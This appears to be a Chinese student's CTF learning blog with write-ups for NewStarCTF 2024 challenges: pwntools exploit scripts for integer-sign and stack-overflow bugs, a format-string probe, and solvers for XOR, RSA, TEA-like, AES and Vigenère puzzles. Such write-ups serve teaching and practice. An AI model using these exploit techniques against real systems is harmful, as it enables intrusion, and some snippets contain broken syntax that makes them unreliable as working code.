pwn

1.overwrite(newstarctf2024w1)-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 func()
{
unsigned int nbytes[13]; // [rsp+Ch] [rbp-84h] BYREF
char nptr[72]; // [rsp+40h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+88h] [rbp-8h]

v3 = __readfsqword(0x28u);


printf("pls input the length you want to readin: ");
__isoc99_scanf("%d", nbytes);
if ( (int)nbytes[0] > 48 )
exit(0);


printf("pls input want you want to say: ");
read(0, &nbytes[1], (unsigned int)nbytes[0]);//从标准输入读取nbytes[0]字节的数据,写入nbytes[1]开始的地址。
if ( atoi(nptr) <= 114514 )
{
puts("bad ,your wallet is empty");
}
else
{
puts("oh you have the money to get flag");
getflag();
}


return v3 - __readfsqword(0x28u);//金丝雀
}

这里一共要求两次输入,一次是给nbytes,一次是给nptr,只要nptr的赋值能大于114514就能获得答案

关于第一次的赋值:刚开始我的想法是输入1让nbytes的值<48就进入下一步,这么做了之后无法得到flag,所以观察到两次nbytes的数据类型不同(前一次是有符号,后一次无符号)可以意识到给nbytes赋值-1就能通过第一次检验。

整个程序是没有给nptr单独赋值的地方,所以需要利用nbytes和nptr之间的距离来给nptr赋值

追踪nbytes和nptr的地址之间的距离nbytes和nptr之间相差了0x34个字节(52个字节),于是乎就先用52个字节的字符填充距离后给nptr赋一个大于114514的值即可。

1
2
3
4
5
6
7
8
from pwn import *
p = remote('127.0.0.1', 40045)
p.recvuntil(b'readin: ')
p.sendline(b'-1')
p.recvuntil(b'say: ')
p.sendline(b'0'*52+b'114515')
//经过测试其实>=48就行(因为这个平台给的复现程序和原程序有点出入,原来的地址距离是48字节)
p.interactive()

2.game(newstarctf2024w1)

5s内重复输入0-10的数字,使得他们相加>999就行

这里我看了一眼官方的wp给了一个这个:

1
2
3
4
5
6
7
from pwn import *

p = remote("ip", port)
for i in range(112):
p.sendlineafter(b': ', b'9')

p.interactive()

可是我怎么也用这个连不上,唯一连上一次之后输入ls没有任何反应,然后又在不停找原因,结果没有找到。但是好在nc直接连是连上了。

随后网上查wp发现有一个很巧妙的办法,因为c语言scanf是可以通过空格的方法直接输入,所以就可以这么输入

1
10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10

然后就获得/bin/sh,找到答案:

3.Real Login(newstarctf2024w1)

签到题目

输入NewStar!!!就行

4.overwrite(newstarctf2024w1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 func()
{
unsigned int nbytes[13]; // [rsp+Ch] [rbp-84h] BYREF,这里是uint
char nptr[72]; // [rsp+40h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+88h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("pls input the length you want to readin: ");
__isoc99_scanf("%d", nbytes);
if ( (int)nbytes[0] > 48 ) //这里又强制转换成int了
exit(0);


printf("pls input want you want to say: ");
read(0, &nbytes[1], nbytes[0]);
if ( atoi(nptr) <= 114514 )
{puts("bad ,your wallet is empty");}
else{puts("oh you have the money to get flag");
getflag();}


return v3 - __readfsqword(0x28u);
}
1
2
3
4
5
from pwn import *
p = remote('127.0.0.1', 43825)
p.sendlineafter(b': ', b'-1')//我还在想为什么这里不能用0-47的整数
p.sendafter(b': ', b'a'*0x30 + b'114515')
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p = remote('127.0.0.1', 43825)
p.recvuntil(b'readin: ')
p.sendline(b'-1')//我也不知道为什么这里用0-47的整数不行,反正-1就是为了跳过第一段的检验
p.recvuntil(b'say: ')

p.sendline(b'1'*0x34+b'114515')//这是可以的
p.sendline(b'1'*0x30+b'114515')//这是可以的、把1换成a也可以
p.sendline(b'-1'*0x34+b'114515')//no
p.sendline(b'a'*0x34+b'114515')//no
//为什么会有0x34呢,因为用ida看到nbytes和ntpr的地址相差了0x34,所以用

p.interactive()

5.dbg(newstarctf2024w1)

https://blog.csdn.net/2301_76262491/article/details/144476637————动态调试

通过观察伪代码发现,这是通过加密算法将s变成加密信息,之后要求我们输入和s原数据相同的字符串

通过动态调试后发现每次输出的original的s都是同一个输出,所以这个时候只用在动态调试的时候找到s原地址存的东西就行了

发现这个,然后将这个放在payload里发送

1
2
3
4
5
from pwn import *
p = remote('127.0.0.1', 41235)
p.recvuntil(b'data: ')
p.sendline(b'\x5D\x1D\x43\x55\x53\x45\x57\x45')
p.interactive()

从而获取flag

6.Ez_fmt(newstarctf2024w2)

不好意思断更了许久,今天重新再来,我们来了!

1
2
3
4
5
6
7
int __cdecl main(int argc, const char argv, const char envp)
{
initial();
printBanner();
vuln();
return 0;
}
1
2
3
4
5
6
void initial()//setbuf是设置缓冲模式 
{
setbuf(stdin, 0LL);// 0LL表示NULL指针,无缓冲模式:输入会立即被处理而不暂存
setbuf(stdout, 0LL);// 输入会立即被处理而不暂存
setbuf(stderr, 0LL);// 错误信息会立即显示
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int vuln()
{
int result; // eax
int i; // [rsp+Ch] [rbp-44h]
__int64 buf[8]; // [rsp+10h] [rbp-40h] BYREF 64位整数数组(8个元素,占 8 * 8 = 64 字节)

buf[7] = __readfsqword(0x28u);
memset(buf, 0, 48); //将buf前48个字节全部清零,剩余 16 字节(buf[6]~buf[7])未被清零。
result = puts("you know it's easy fmt\ntry !");
for ( i = 0; i <= 2; ++i )//
{
puts("data: ");
read(0, buf, 0x30uLL);
printf((const char *)buf);
result = (unsigned int)memset(buf, 0, 0x30uLL);
}
return result;
}

题目是fmt,查了一下:

格式化字符串(Format String,简称 “fmt”) 是 C 语言中用于控制文本输出格式的特殊字符串,通常与 _printf__sprintf__ 等函数配合使用。它包含普通字符和格式化占位符(以 _%_ 开头),后者会被替换为对应的变量值。基本格式:printf(“格式化字符串”, 参数1, 参数2, …);_

以下是fmt漏洞的介绍:

原理介绍 - CTF Wiki

这里还有解另一道fmt题目的思路,可以借鉴一下

[2020 GeekChallange] Pwn fmt_pwn fmt0-CSDN博客

先输入AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p

printf(“%p”, a); // 输出:0x55aabbccdd(a指向的堆地址)__

printf(“%p”, &a); // 输出:0x7ffd12345678(变量a在栈上的地址)

发现第9个格式化占位符转换的不是AAAAAAA的地址

crypto(加✨代表有难度)

xor算法1.xor(newstarctf2024w1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import xor
from Crypto.Util.number import bytes_to_long

key = b'New_Star_CTF'
flag='flag{*******************}'

m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))//取前13个字符转换为bytes
m2 = flag[13:]

c1 = m1 ^ bytes_to_long(key)
c2 = xor(key, m2)
print('c1=',c1)
print('c2=',c2)

'''
c1= 8091799978721254458294926060841
c2= b';:\x1c1<\x03>*\x10\x11u;'
'''

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.strxor import strxor
from Crypto.Util.number import bytes_to_long
from Crypto.Util.number import long_to_bytes

key = b'New_Star_CTF'
c2= b';:\x1c1<\x03>*\x10\x11u;'
m2 = strxor(key, c2)//使用 Crypto 库的 strxor,直接将m2解成文字
print(m2)//这里已经能解出来后半

key = b'New_Star_CTF'
c1= 8091799978721254458294926060841
m1 = c1 ^ bytes_to_long(key)
fg1 = long_to_bytes(m1)

print(fg1)

flag:flag{0ops!_you_know_XOR!}

rsa算法2.一眼秒了(newstarctf2024w1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import *
from gmpy2 import *
from serct import flag
p = getPrime(512)
q = getPrime(512)
n = p*q
m = bytes_to_long(flag)
e = 65537
c = powmod(m, e, n)#加密结果
print(n)
print(c)

# 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
# 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069

根据rsa算法解密就是m=powmod(c,d,n) d=(e,-1,φ(n))

来算私匙d,n能用大数字分解网站来算,

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import long_to_bytes    
from gmpy2 import *
from serct import flag
n=52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c=48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
#n分解得出:
p=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421
q=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093
d = powmod(e, -1, (p-1)*(q-1))
m = powmod(c,d,n)#d是私匙
flag = long_to_bytes(m)
print(flag)

rsa算法变种3.Just one and more than two(newstarctf2024w2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *

flag = b'flag{?????}'
m1 = bytes_to_long(flag[:len(flag)//2])
m2 = bytes_to_long(flag[len(flag)//2:])
e = 65537
p, q, r= (getPrime(512) for _ in range(3))
N=p*q*r
c1 = pow(m1, e, p)
c2 = pow(m2, e, N)

print(f'p={p}\nq={q}\nr={r}\nc1={c1}\nc2={c2}')

'''
p=11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133
q=11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393
r=12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371
c1=8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451
c2=1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445
'''

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Cryptodome.Util.number import * //这里的Crypto要写成Cryptodome,网上说是旧的库不维护了,于是乎就用了新的库名字

p=11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133
q=11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393
r=12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371
e=65537
c1=8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451
c2=1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445

d1=pow(e,-1,p-1) //这里按道理来说两个大素数来做的话用fain,但是我看源代码那里用的是c1 = pow(m1, e, p),所以我就斗胆猜了一下结果是对的
m1=pow(c1,d1,p)

N=p*q*r
fain=(p-1)*(q-1)*(r-1)
d2=pow(e,-1,fain)
m2=pow(c2,d2,N)

print(long_to_bytes(m1)+long_to_bytes(m2))

✨xor算法4. Since you konw something(24w2)

hint:你见到了上周的老朋友,你只需告诉他一部分信息,他就会给你 key

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long

key = ?? #extremely short
FLAG = 'flag{????????}'
c = bytes_to_long(xor(FLAG,key))

print("c={}".format(c)) //也可以写成f"c={c}"

'''
c=218950457292639210021937048771508243745941011391746420225459726647571
'''

这里补充一下xor算法:如果a=xor(b,c),反解b那么b=xor(a,c)

我看了一下他的解题,我一开始以为key只是数字,结果不止是数字,也可以是字符

(我看了一眼大致思路,以下是按照该思路自己写的代码。)

1
2
3
4
5
6
7
from pwn import xor
from Cryptodome.Util.number import *
c=218950457292639210021937048771508243745941011391746420225459726647571
c1=long_to_bytes(c)
m = b'flag{' //如果说这里用‘flag{’的话他会报错,因为pwntools 的 xor() 函数要求输入为字节串(bytes),但你传入的 m = 'flag{' 是 ​字符串(str)​
key = xor(c1, m)
print(key)

输出:b”nsnsnL2gVcf/xKa}1MQ8z@m’aa1t”

因为原文一定是flag{开头的,所以说直接用flag{去试试key,然后因为key是两位的,所以这里就把key认为是ns

1
2
3
4
5
6
7
8
from pwn import xor
from Cryptodome.Util.number import *

c=218950457292639210021937048771508243745941011391746420225459726647571
c1=long_to_bytes(c)
key=b'ns'
flag = xor(c1, key)
print(flag)

然后就得到答案了:b’flag{Y0u_kn0w_th3_X0r_b3tt3r}’

✨微型加密算法(本质是取模)5.茶里茶气w2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from Crypto.Util.number import *

flag = "flag{*****}"
assert len( flag ) == 25 //assert是个判断,这里就是告诉我们说flag是25个字符

a = ""
for i in flag:
a += hex(ord(i))[2:]
//ord()是转化为Unicode整数,hex转化为16进制,2:是指去掉前两位0x
l = int(a,16).bit_length()
//int(a, 16):将十六进制字符串 a 转为十进制整数
//.bit_length():返回该整数的二进制表示的最小位数(不含前导零)
print("l =" , l )
//所以目前为止a是16进制拼接数,l是长度

v0 = int(a,16)>>(l//2)
// “//”是除完去小数,>>是16进制向右移7位,等价于int(a,16)//(2^(l//2))
v1 = int(a,16)-(v0<<(l//2))
//v0<<(l//2)等价于v0*(2^(l//2))
p = getPrime(l//2+10)

v2 = 0
derta = 462861781278454071588539315363
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071
assert v1 < p and v0 < p and derta < p and v3 < p and v4 < p and v5 < p and v6 < p

for i in range(32):
v1 += (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p
// %是取余
v0 += (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= p
v2 += derta ; v2 %= p

print( "p =" , p )
print( "v0 =" , v0 )
print( "v1 =" , v1 )

"""
l = 199
p = 446302455051275584229157195942211
v0 = 190997821330413928409069858571234
v1 = 137340509740671759939138452113480
"""

这里要插入一个取模的可逆性:

也就是说:c=(a+b)%p 那么复原就可以是 a=(c-b)%p

回到这道题里面:v1 += (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p

改写一下就是:v1new=(v1+ (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 )_ _) %p

如果假设A=v1,B=(v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ,C=v1new

也就是:C=(A+B)%p

那么解法就是:A=(C-B)%p

还原回来就是:v1=(v1new- (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) )%p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Cryptodome.Util.number import *

l = 199
p = 446302455051275584229157195942211
v0 = 190997821330413928409069858571234
v1 = 137340509740671759939138452113480
v2 = 0
derta = 462861781278454071588539315363
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071

for i in range(32):
v2 += derta ; v2 %= p

for i in range(32):
v2 -= derta;v2 %= p
v0 -= (v1 + v2) ^ (8 * v1 + v5) ^ ((v1 >> 7) + v6);v0 %= p
v1 -= (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p

ita16=v1+(v0<<(l//2))
a=hex(ita16)[2:]

flag=""
for i in range(0,len(a),2):
flag += chr(int(a[i]+a[i+1],16))
//每次读取两个,两个字符拼在一起拼成16进制,再转成10进制整数的Unicode码,再转成字符串
print(flag)

最后得到答案:flag{f14gg9_te2_1i_7ea_7}

以及他标的是简单题,但是我并不认为,因为我还是花了蛮久才看懂代码+解决题目的。

rsa算法6.这是几次方?疑惑!w2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *

flag = b'flag{*****}'
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537

m = bytes_to_long(flag)
c = pow(m, e, n)

hint = p^e + 10086

print("c =", c)
print("[n, e] =", [n, e])
print("hint =", hint)

'''
c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762
[n, e] = [124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261, 65537]
hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390
'''

借助https://factordb.com/ 大数分解链接很容易解出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Cryptodome.Util.number import *

n=124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261
e=65537
c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762
hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390

p=9894080171409167477731048775117450997716595135307245061889351408996079284609420327696692120762586015707305237750670080746600707139163744385937564246995541
q=12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531598921
fain=(p-1)*(q-1)
p=(hint-10086)(1/e)
//我最开始还是用^来代表多少次方🤦‍♂️ 原来python的多少次方是
🤦‍♂️

d=pow(e,-1,fain)
m=long_to_bytes(pow(c,d,n))

print(m)

flag{yihuo_yuan_lai_xian_ji_suan_liang_bian_de2333}

✨✨AES算法7.不用谢喵

前置知识

高级加密标准(Advanced Encryption Standard,AES)

这里有两个AES的两种加密方式: ECB 和 CBC

1. ECB (电子密码本模式 - Electronic Codebook)

原理:

  • 将明文分割成固定长度的块(如 64位/128位)。
  • 每个块独立使用相同密钥加密,互不影响。
  • 无依赖关系,支持并行加密。

缺点:相同明文块 → 相同密文块(如图片中的重复结构),易暴露数据模式(如重复文本/图像轮廓)。

示例:明文 "HELLO WORLD" 按 4 字母分组:["HELL", "O WO", "RLD"](不足需填充):

  • ECB 加密:
    HELL + 密钥 → 密文块 1
    O WO + 密钥 → 密文块 2
    RLD + 密钥 → 密文块 3
    若原文有重复块(如两个"HELL"),则对应密文也重复。

2. CBC (密码分组链接模式 - Cipher Block Chaining)

原理:

  • 块间加密结果互相关联,前一块密文影响下一块。
  • 步骤:
    ① 第一块明文与 初始向量 (IV) 异或 → 加密 → 密文块1
    ② 第二块明文与 密文块1 异或 → 加密 → 密文块2
    ③ 后续块依次类推(依赖前一密文)。

优点:隐藏数据模式,相同明文块 → 不同密文块(如图中链式结构)。

缺点:不支持并行加密;单块错误影响后续解密。

示例:明文 ["HELL", "O WO", "RLD"] + 随机 IV(如"1234"):

  • CBC 加密:
    HELLIV → 加密 → 密文块1
    O WO密文块1 → 加密 → 密文块2
    RLD密文块2 → 加密 → 密文块3
    即使两个分组内容相同,因异或对象不同,密文也不同。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad
from Cryptodome.Random import get_random_bytes

# 示例明文和密钥
plaintext = "SecretMessage123" # 16字节明文(AES块大小)
key = get_random_bytes(16) # AES-128密钥(16字节)


# ========== ECB 模式加密/解密 ==========
def ecb_example():
print("\n" + "=" * 40)
print("ECB 模式示例:")
print("=" * 40)

# 加密
cipher = AES.new(key, AES.MODE_ECB)
#加密方式。输入key和模式,这里是ECB模式
padded_text = pad(plaintext.encode(), AES.block_size)
#分块操作,这里的encode是因为plaintext是字符串,这里要转成字节序列,这样才好分块
#AES.block_size 表示AES加密算法的块大小,上面有写16字节
ciphertext = cipher.encrypt(padded_text)
#密文 = 加密方式.加密(分块好的明文)

# 解密
decipher = AES.new(key, AES.MODE_ECB)
#解密方式。ECB.
decrypted = unpad(decipher.decrypt(ciphertext), AES.block_size)
#解密 = 合并(解密方式.解密(密文),块大小)

print(f"原始明文: {plaintext}")
print(f"ECB 密文: {ciphertext.hex()}")
print(f"解密结果: {decrypted.decode()}")
print("注意:重复加密相同内容会得到相同结果")


# ========== CBC 模式加密/解密 ==========
#其实会语法之后就直接能用代码解题了🤦‍♂️,语法和ECB类似
def cbc_example():
print("\n" + "=" * 40)
print("CBC 模式示例:")
print("=" * 40)

# 生成随机初始化向量 (IV)
iv = get_random_bytes(16)

# 加密
cipher = AES.new(key, AES.MODE_CBC, iv)
padded_text = pad(plaintext.encode(), AES.block_size)
ciphertext = cipher.encrypt(padded_text)

# 解密
decipher = AES.new(key, AES.MODE_CBC, iv)
#初始化向量
decrypted = unpad(decipher.decrypt(ciphertext), AES.block_size)

print(f"原始明文: {plaintext}")
print(f"初始化向量: {iv.hex()}")
print(f"CBC 密文: {ciphertext.hex()}")
print(f"解密结果: {decrypted.decode()}")
print("注意:相同内容+不同IV → 不同密文")


# 执行示例
if __name__ == "__main__":
ecb_example()
cbc_example()

# 重要提示
print("\n" + "!" * 50)
print("安全说明:")
print("1. ECB 模式不应用于敏感数据(相同输入→相同输出)")
print("2. CBC 需使用随机且不可预测的IV")
print("3. 实际使用请添加消息认证码(MAC)防止篡改")
print("!" * 50)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
========================================
ECB 模式示例:
========================================
原始明文: SecretMessage123
ECB 密文: 21f7760b8d1c574f311237dc8f19edd0bd53aadcc661a41677757fea42a1dbf5
解密结果: SecretMessage123
注意:重复加密相同内容会得到相同结果

========================================
CBC 模式示例:
========================================
原始明文: SecretMessage123
初始化向量: 6d6c055d25c499fcd64975c6e49c88e3
CBC 密文: 17d53a29c296391b1f39caf02db13c1e7b71d8148389b84caec180b4d82679f5
解密结果: SecretMessage123
注意:相同内容+不同IV → 不同密文

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
安全说明:
1. ECB 模式不应用于敏感数据(相同输入→相同输出)
2. CBC 需使用随机且不可预测的IV
3. 实际使用请添加消息认证码(MAC)防止篡改
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

题目代码:

好,这个时候我们再来看题目的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Cipher import AES
from Crypto.Util.number import *
import os

KEY = b"fake_key_fake_ke"
FLAG = "flag{fake_flag_fake_flag}"

def decrypt(c):
AES_ECB = AES.new(KEY, AES.MODE_ECB)
decrypted = AES_ECB.decrypt(long_to_bytes(c))

return decrypted.hex()

def encrypt():
iv = os.urandom(16)
AES_CBC = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = AES_CBC.encrypt(FLAG.encode())
print('iv:',iv.hex())

return iv.hex() + encrypted.hex()

c=encrypt()
print('encrypt:',c)
print('decrypt:',decrypt(int(c,16)))

#encrypt: f2040fe3063a5b6c65f66e1d2bf47b4cddb206e4ddcf7524932d25e92d57d3468398730b59df851cbac6d65073f9e138
#什么是AES啊😭,求求你帮我解密吧,我什么都会做的!!!!!😭

'''
什么都会做?那就去学习一下AES的工作模式吧……
我这次就先给你解一下好了,不用谢喵
decrypt: f9899749fec184d81afecd35da430bc394686e847d72141b3a955a4f6e920e7d91cb599d92ba2a6ba51860bb5b32f23b
这对吗?哦不对不对,哦对的对的。
'''

这玩意搞了我好久好久,他那个解题我也看不懂,直到今天看了一个解析、完整问了ai和理清了一下思路才想清楚

上面的题目的思路:这个画的比较糙。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Cryptodome.Util.number import long_to_bytes as l2b , bytes_to_long as b2l

# encrypt = f2040fe3063a5b6c65f66e1d2bf47b4c ddb206e4ddcf7524932d25e92d57d346 8398730b59df851cbac6d65073f9e138
iv = 0xf2040fe3063a5b6c65f66e1d2bf47b4c
c2 = 0xddb206e4ddcf7524932d25e92d57d346
c3 = 0x8398730b59df851cbac6d65073f9e138
# decrypt = f9899749fec184d81afecd35da430bc3 94686e847d72141b3a955a4f6e920e7d 91cb599d92ba2a6ba51860bb5b32f23b
ivd = 0xf9899749fec184d81afecd35da430bc3
#这玩意其实就是啥也不是了
d2 = 0x94686e847d72141b3a955a4f6e920e7d
d3 = 0x91cb599d92ba2a6ba51860bb5b32f23b

f1 = l2b(d2^iv)
f2 = l2b(c2^d3)

print(f1+f2)

维吉尼亚密码8.故事新编w3

前置知识:古典密码

1.置换密码:顺序倒置,分段形成矩阵之后转置

2.代替密码:f(ai)=bi=aj,即通过固定算法将ai映射到bi,密码表由k决定

i.加法密码,如凯撒密码,所有字幕向后移k位(j=i+k)

ii.乘法密码,j=i·k,其中k要和密码表总数互素

iii.仿射密码,j=i·k+p,其中k要和密码表总数互素,p≠0

iv.密钥词语代替密码,类似于置换密码,是不过是先写出一个单词后再按顺序写出字母表,形成的矩阵再转置

3.多表代替密码:存在明文密文和密钥

举例:明文:ABCDEFG

密钥:0123

密文:ACEGEGI(第一个字母偏移0位,第二个字母偏移1位...第五个字母偏移0位...以此类推...)

这就是维吉尼亚密码

4.多名代替密码:每一个字母对应多个数字,每个数字对应一个字母

举例:

A 3 16 29 94 31 47 68 52
D 11 40 62 93
T 8 25 63 55 72 64 86 97 98

于是乎’DATA‘就可以加密成40 94 8 16也可以加密成11 3 8 29

5.代数密码:按照一定算法来进行加解密

举例:Vernam密码

对字母模2然后再xor算法,得出加密结果

明文: D A
1000100 1000001
密钥: L A
1001100 1000001
密文: 0001000 0000000

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from hashlib import md5
zen1 = '''

'''
key1 =
def enc1(plaintext, key):
def shift_char(c, k):
return chr(((ord(c) - ord('A') + (ord(k) - ord('A'))) % 26) + ord('A'))

plaintext = plaintext.upper()
key = key.upper()
ciphertext = []
key_index = 0

for char in plaintext:
if char.isalpha():
ciphertext.append(shift_char(char, key[key_index % len(key)]))
key_index += 1
else:
ciphertext.append(char)

return ''.join(ciphertext)
print('enc = \'\'\'' + enc1(zen1, key1)+'\'\'\'')
flag = b'flag{'+md5(zen1.encode()).hexdigest().encode()+b'}'
print(flag)
#----------------------------------------------
enc = '''
TYBNBBZNT WF TYUMMK NAIB HYFZ.
XFIFBKWG AM CXBMYK BVNF CNITBWBB.
GVEJMX QL VXBHRJ NITV VIFXZRP.
WPFXEYQ QG OWNUXZ MBTV QBEJMBKTNXL.
TYSN JL JXNMMF GZUO GMLNXL.
GCSLTX QL VXBHRJ NITV WYGAS.
SDUHT QL PXOSAWLF
KMTXTJWYANZ VWNHMA.
GCWWJTT VULMG NJYO'M AIYVQOY WHPNOA NH JFRSE UAM KOEMG.
NDNIHCZB IZOPLCDTTBNR JSNLM QNZBNR.
MFEGLT LPHOEL BRNYS IILM LQZRFNMR.
CGFXAG RPJMBKBNEG GVDYOVMW.
'''

其实这道题我觉得出的不好,这道密码纯看你会不会找暴力解维吉尼亚密码的网站。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from hashlib import md5
zen1 = '''

'''
key1 =

def shift_char(c, k):
return chr(((ord(c) - ord('A') + (ord(k) - ord('A'))) % 26) + ord('A'))
#c是原字母,k向后移动几位,%26为了超出26的数字循环回来,也就是凯撒

def enc1(plaintext, key):
plaintext = plaintext.upper()
key = key.upper()
#两个转成大写
ciphertext = []
#密文
key_index = 0

for char in plaintext:
if char.isalpha():
ciphertext.append(shift_char(char, key[key_index % len(key)]))
#append函数是在列表最后插入,key_index % len(key)确定了key能循环用,key[]代表第n-1个
key_index += 1
else:
ciphertext.append(char)

